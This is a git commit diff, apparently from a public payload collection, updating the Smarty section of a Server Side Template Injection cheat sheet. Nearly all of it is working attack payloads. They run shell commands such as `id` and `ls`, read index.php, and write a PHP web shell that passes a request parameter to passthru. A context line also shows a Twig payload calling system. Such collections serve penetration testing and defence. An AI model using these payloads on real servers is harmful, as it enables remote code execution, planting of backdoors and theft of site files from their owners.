Merge pull request swisskyrepo#366 from mpgn/master

Update Smarty Template Injection
abdulrahman86 · May 20, 2021 · e3e3ca6 · e3e3ca6
2 parents 28f68f4 + 367296c
commit e3e3ca6
Showing 1 changed file with 3 additions and 1 deletion.
diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md
@@ -233,8 +233,10 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
 
 ```python
 {$smarty.version}
-{php}echo `id`;{/php}
+{php}echo `id`;{/php} //deprecated in smarty v3
 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
+{system('ls')} // compatible v3
+{system('cat index.php')} // compatible v3
 ```
 
 ## Freemarker